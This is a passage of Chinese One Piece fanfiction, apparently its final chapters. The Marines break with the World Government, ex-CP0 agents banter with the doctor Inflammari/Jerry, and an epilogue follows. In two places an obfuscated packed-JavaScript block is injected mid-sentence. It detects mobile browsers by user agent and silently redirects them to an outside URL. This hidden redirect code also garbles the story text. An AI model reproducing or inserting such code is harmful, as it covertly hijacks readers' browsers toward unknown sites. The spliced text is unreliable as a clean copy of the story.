玛丽乔亚留守的剩余CP0也在事件发生时于圣地杀掉大量天龙人后,以门门果实能力逃走,确认在奥比塔拉出现。 天龙人在断粮和这一事件后对管理层不满,玛丽乔亚暗潮涌动。 各界还没调查完毕,奇迹游医便发布伊甸乳制品合作国露露西亚王国确认被灭,巨大海底瀑布照片,证实古代兵器被动用。 即使贝加庞克没有明说,但是伊甸明确声明将拒绝世界政府的一切。 “屠魔令被阻止了啊...”放下的报纸中放大的标题在猜测世界政府是否会对着奥比塔拉再次动用古代兵器,库赞歪歪头,“不过与其说是被阻止,不如说是大量海军反水?下不去手?” 黄猿:“...真可怕啊。” 带着伤的萨卡斯基烦躁推开办公室大门,就看到他们二人在自己办公室里。现在正是动荡的时期,不去工作在这里做什么。 他们是等这个任务失败回来的家伙一起去找战国开会的。 偌大的会议室里空了不少位置,其余人都对着屏幕上的录像讷讷不语。非常短,极其模糊,有一层暗色遮挡,但是能看清,他们反复播放了四遍。 “这是真的吗?” 虚空王座上,居然有人啊。布兰纽清了清嗓子,汇报道世界会议后海军拦截到的革命军通话,也确实提到过些许片段,只不过被五老星拦截。在艾格赫德向土星讨要说法的道伯曼中将死亡。 ''该选择了,海军。'' 那家伙把录像送来大概就是这个意思吧。 库赞率先起身,脱下了自己的正义披风跨在臂弯。 “你要去哪,库赞。” “啊...去伊甸吧,泽法老师说那里给''海军''的待遇还不错呢。”他挠挠头,“等我真正能穿上正义的时候,才能稍微拿出点干劲啊。” 会议室大门关上的瞬间,鹤叹了口气:“该决定了,战国。” 战国看向都将视线放到他身上的同僚们,以及越过他们,大屏幕上那定格在血与黑暗的灭口瞬间,缓缓开口。 他们本来就不是同一颗棋。 红色的、蓝色的、还有它们之间的空隙。 - 与海军的严肃动乱不同,前CP0成员们正坐在一起喝茶,把艾格赫德轰轰烈烈的大事件当八卦讲。 两批做了不同工作的人互相聊一聊自己杀了什么人啊,干了什么活啊,斯图西居然和我们一样是内鬼真是一拍即合啊。 杰里推开他们套房的门就看到这么一幕。 “哇塞...您们吃红丝绒蛋糕,喝红茶,然后聊把人家的脑袋一指头戳开花?” 不愧是最近报纸上凶名赫赫的家伙们啊。 卡库嘻嘻笑了两声,拍了拍他旁边的空位示意老板大哥坐过来。 杰里得意地对他的称呼蹭了下鼻尖。傻眼了吧五老星,真正的挖墙脚就是一锅全给你端走。青黄不接后继无人的那种。 他在自己的头号两位小间谍之间坐下,将带来的包裹打开给他们分享。 偎取的新木屐、布鲁诺的波本酒、卡莉法的高级沐浴套装,是是是不好意思我性骚扰了、加布拉的胡子梳和酒吧相亲会宣传单,是是是您能找到女朋友... 他将手里的鸭舌帽递给卡库,上面歪歪扭扭地绣着“卡库先生”。 “哇,好丑。” “真失礼啊。”杰里对着他示意自己缠着不少创口贴的手,“我很努力了呢,上次不是我亲自绣的。” 当然哈多利也是有礼物的咯,可爱聪明的鸽子先生得到了漂亮的新礼帽,和他的家人臭脸面瘫豹子配套。 “这次的''小费''怎么样?” 路奇将黑色的礼帽在手里转了一下:“勉勉强强。” 卡库哇哈哈地吃着糖:“老朽很喜欢。” 杰里:“我还是搞不明白您年纪轻轻哪里来的这种口癖,明明是个爱吃糖的小鬼。” 他有些好奇地打量圆桌上空瓶里的一朵花,真花,之前不是装饰植物来着。 对于他的疑惑,卡莉法解释是干掉一伙海贼之后一个小女孩送她的。杰里晃晃脑袋表示明白,鼓励他们既然终于不用被拴着狗绳一样天天围着上面的家伙转,没什么大事就自己去放松放松做点感兴趣的事,围在一起就聊杀人也太没劲了吧。 “岛上的保龄球馆还不错哦。” 加布拉摸摸下巴:“打保龄球吗,挺好啊,想起来之前干掉那个葡萄海军的时候了。” 杰里有点无语,算了,能去玩玩也好。卡莉法说今天还有工作时他摆摆手后竖起两根指头。“新退出加盟的两个''非加盟国''有海军去了,您们这两天放个假吧,除了卡库先生和布鲁诺先生还有一点点工作。” 布鲁诺的工作就是用能力把他到处送,但是距离太远的时候他消耗会很大,所以杰里到也不会一天就跑好几个地方。 “耶莫拉蒂岛,新世界。”然后他拍拍卡库,“您今天的工作就是在我走之前长颈鹿滑梯给我玩一下。” “您这是性骚扰。” “没事啦卡莉法,岛上的孩子们也喜欢。” “啊啊好过分啊我。” 走进空气之门前捏捏小豹子的鼻子,被瞪了一眼,他眯着眼睛轻笑。 “''好玩''吗?” 倒是有点表情了,虽然笑得有点血腥吧。 “好玩。” 拜访四皇。 布鲁诺最近每次送人走的时候都习惯性咂舌。 虽然路奇说过,但是亲眼见到这个人的“朋友们”时他才有些实感。 红发香克斯亲昵地揽着金发男人,笑闹几句。 “久违了啊,让人想起弗雷凡斯了呢。”本·贝克曼如此评论奇迹游医的复活,“红发海贼团的朋友,还有战争。” 布鲁诺不知道他该惊讶哪一个,是弗雷凡斯的战争另有隐情,还是红发海贼团和一个游医做了那么久的朋友。也许哪个他都不该震惊。 “确实,不过您们大秘宝找得怎么样了?” “哈哈哈哈,会比巴基先到拉夫德鲁的!” 布鲁诺没想到这种半宣战的话会被老实告知,他不怕他们因此分裂吗? “那个红毛混蛋这么说吗!!” “小红有时候就是挺欠揍的吧?” 也许他不该担心。 “手受伤了?” “啊,最近在练习刺绣,比缝人要难得多。” 世界第一大剑豪对着奇迹游医认真点头。 “喂、你这混蛋是知道冥王下落的吧?” “诶?我知道吗?布鲁诺先生,开门—” 他们避开了袭来的沙子。 布鲁诺也没想到草帽路飞是奇迹游医养大的,所以说路奇不聊这些也就算了,卡库居然也没提过。 “哈?我会先到拉夫德鲁的!” “是是是乖宝,加油啊。” 不过白胡子海贼团倒是没向着大秘宝进发呢。 “咕啦啦啦啦,这种事情还用你小子跑来问吗?那群家伙都欺负到老子家人头上了。” “您太帅了,纽盖特先生,不过药酒也是酒,您听起来很好也要少喝些哦。” 白胡子撇嘴,转移话题。 “罗杰当年跟我说了之后,老子就在等了。” “呜哇,他可真会吊人胃口。” 拜访...前四皇势力。 “库库库,多弄点镜子佩罗琳。” “不愧是您,到时候我直接往那摆一排镜子。” 布鲁诺冷漠扛着一大摞几米高的大镜子,嘴里嚼着水果饼干面无表情,唔、好吃。大概是猫头鹰喜欢的口味。 还有一个不用他开门拜访。 “翅膀义肢如何。” “可以正常使用,还是有些轻。” “好捏,我告诉科依。” 贝加庞克的分身还在洗掉炽天使们的权威芯片控制,所以最后一站是去把他们接回来。只是他们已经会飞了,所以没看到大鸟训练小鸟真是可惜。 奇迹游医这么说,布鲁诺深吸一口气,点了点头。 - 波鲁萨利诺微微出了一口气。 “所以贝加庞克还活着?” “脑子还活着,所以算是吧,您没杀了您的挚友,倒不如说他是送上门让您杀好开直播。” 黄猿将报纸放到一边,念叨了一句真可怕。不知道是在说贝加庞克还是他对面的人。 旧四皇BIGMOM余党在佩罗斯佩罗的带领下与新四皇草帽路飞、小丑巴基、白胡子、红发香克斯在站队方面出奇一致。 因为世界政府对他们的朋友动手,而这位朋友烧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15094023|154812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 掉了目所能及的所有政府旗帜。 革命军也乘着这股浪潮不断扩散,四散的明媚灯火难熄,大量玛丽乔亚的内部材料被散播到世界各地,运粮船仍然被不断袭击,红港瘫痪。除了食物,药品,地下世界也切断了对世界政府方一切势力的武器交易,包括海楼石等其他资源。咬住巨人脚踝的蛇蜕皮,露出那条早都走到地上的毒蛇。 海军仍然是海军,只不过大部分做的工作是安抚民众,守卫岛屿,和挥着革命军旗帜的军长们一起。 “波鲁萨利诺!出去干活了!” “来了来了~真是、萨卡斯基这个臭小鬼。” 杰里笑笑,没有管被拉走的库赞嘴里抱怨的絮叨,听起来干劲满满的样子就不要嘴硬了。关系真好啊他们仨。 战国听他这么嘀咕噎了一下,卡普大力拍拍他的后背后说去看看新兵苗苗们也离开了。战国接过鹤递来的电话虫后对着捋着自己头发的男人想再说些什么,最终只是一声叹息。 他请茵弗玛利先一步去将one piece拿到手,毕竟贝加庞克说“人人都可以争夺”最终决定世界的命运,而他有坐标。 可奇迹游医笑嘻嘻地说不去,理由是''我和命运关系不好'',也拒绝给海军派出的人手提供历史正文。 电话虫的启动按钮被按下,双蛇杖敲在墙上的世界地图上。 “不是在这里吗,【大家】的one piece?” 它的名字可是红土【大陆】,当今世界上唯一一片大陆。 世界直播。 罗杰的死带来one piece。 茵弗玛利的''生''也带来one piece。 世界要被海水淹没?太可怕了,我建设了十几年的伊甸园就要这么没了?损失多少钱啊我,不过还好,下一次我更有经验。 如果伊甸曾经帮助过您,请用帮助来交换帮助吧?虽然这次我没有名单。 他笑着,眯着眼睛,隐约有一点犬牙。 多弗朗明哥教他怎么说来着? “不必争夺安全区,一起去高地吧?” 粉羽毛大衣的男人止不住地大笑着,将面前自我对弈的棋盘扫到地上。他的弟弟只是托着脸颊看画面里的那只白鸽,在被一颗弹飞的棋子打到头时吓了一跳,莫名其妙地自我燃烧。 “呋呋呋巨人那边消息给出去了?” “嗯...毕竟''拐卖''名单里有贾恩多中将,还有山姥的资料,巨人之间消息传得很快。” “西海的【果】如何?” “baby5说没问题,她和老蔡要举行婚礼。” “呋呋呋...哪方面的没问题啊?” 罗西南迪站起身,踩到地上的棋子时滑倒。 那个人不在棋盘上,也不怎么会下棋,但是他有一个习惯——执拗地一定要将某个【兵】走到对方底线,只要升变条件达成便满足。 “为什么?” “因为这是最有趣的部分。” 带有无限可能性的荟荟众生,变成战车,变成骑士,变成主教与皇后。 棋盘上的一切都是为了【王】。 那个王不是他,因为他从来不在其上。 “要对生命的可能性永远好奇啊。” 无数人向拉夫德鲁涌去,无数人向伊甸涌来。 流动、凝聚,变成一颗拳头。 - “你不去吗?” 裹着毯子的人摇摇头,滚烫的脑袋因为这个动作不适地呲牙,接过雀斑妈妈递来的热水后喝了一口,他回嘴道:“我生病了诶,您要把我赶到海上?有您这样的父亲吗?” 雷利好像心脏停了一下,他揉了揉鼻梁。 露玖的金发里有了些许白发,看起来更加得浅,远看倒是发色和他越来越像了。她有些担忧地摸着他仍然发烫的脸颊。 “你想睡一会儿吗,茵弗?” “那我就睡一会儿吧。” 他轱辘一下翻了个身,像小时候一样把自己埋在雷利的怀里,反正是劳累和用脑过度引起的发烧不会传染。雷利无奈只能陪他躺下,有一下没一下地顺着他同样长了几根白发的脑袋。 “你想干嘛,火都挑起来了。” “我?...我想和您们再多呆一会儿。” 好吧,不到四十岁就长白头发的臭小鬼。睡一会儿吧,睡到黎明。 朝阳的火焰点燃云彩,奔跑的飞马拉着战车从命运的细线上踩过,带来战争与和平,毁灭与新生。火山爆发后的泥土如此肥沃,一把甘霖过后就能长出数不清的嫩绿幼苗。 露玖轻轻哼着歌。 95.终于破壳【完结】 人类偷走了神的果实,被海洋厌弃。本该淘汰的齿轮残留在原地,社会的新陈代谢被堵塞。 你看到那熊熊燃烧的号角了吗,那是大地上的火,是无法熄灭的亚当树。 月亮啊,月亮啊,越靠越近,吹拂一个梦。 凝视它后与疯狂共舞吧!然后勇气生。 谁在海洋的愤怒里吐出八百年的苦涩? 席卷世界的巨大战争哟,黑与白都没了颜色。 只剩赤红——草帽上的系带。 巨型海王类在人鱼公主的呼唤下,牵起明日的方舟。 身形巨大的是巨人族 无比矮小的是小人族。 从巨象上跃下的月下凶兽是皮毛族。 足长、手长、三只眼睛与黑色翅膀—— 他们可以是朋友。 你能看见什么? 我看见红色的血,红色的土地。 红色的项链与耳饰。 红色的帆——唱着鲸歌成为战士们的后盾。 让海连成一片吧! 站起来,飞起来。 似飞鸟,似蝴蝶。 跃进那黎明的金色拱门。 随着解放的鼓点——! 咚咚、咚咚、咚咚咚咚咚! 黑发的历史学博士合上书。 “然后呢?” “然后就是现在了啊,海军和革命军联手组成新政府...” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15095598|154812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 巨人小孩们摇摇头,差点把小人族从头上甩下来。套着泡泡的人鱼女孩在空中甩着尾巴,急不可耐地说:“然后带来解放的战士去哪里了?” “船长在准备开宴会。” “不是啦,另一个!” 知更鸟抖抖羽毛,黑色的发丝被勾到耳后。 “他啊——” 茵弗玛利的生轰轰烈烈,不亚于罗杰。 但是杰里的死大概会像巴/雷特一直所想的那样,比不上罗杰。 他湮没在人群中,做他的枪兵,做他的医生。 他是一颗蛋,看见红色的头发。 然后终于、 终于破壳。 End.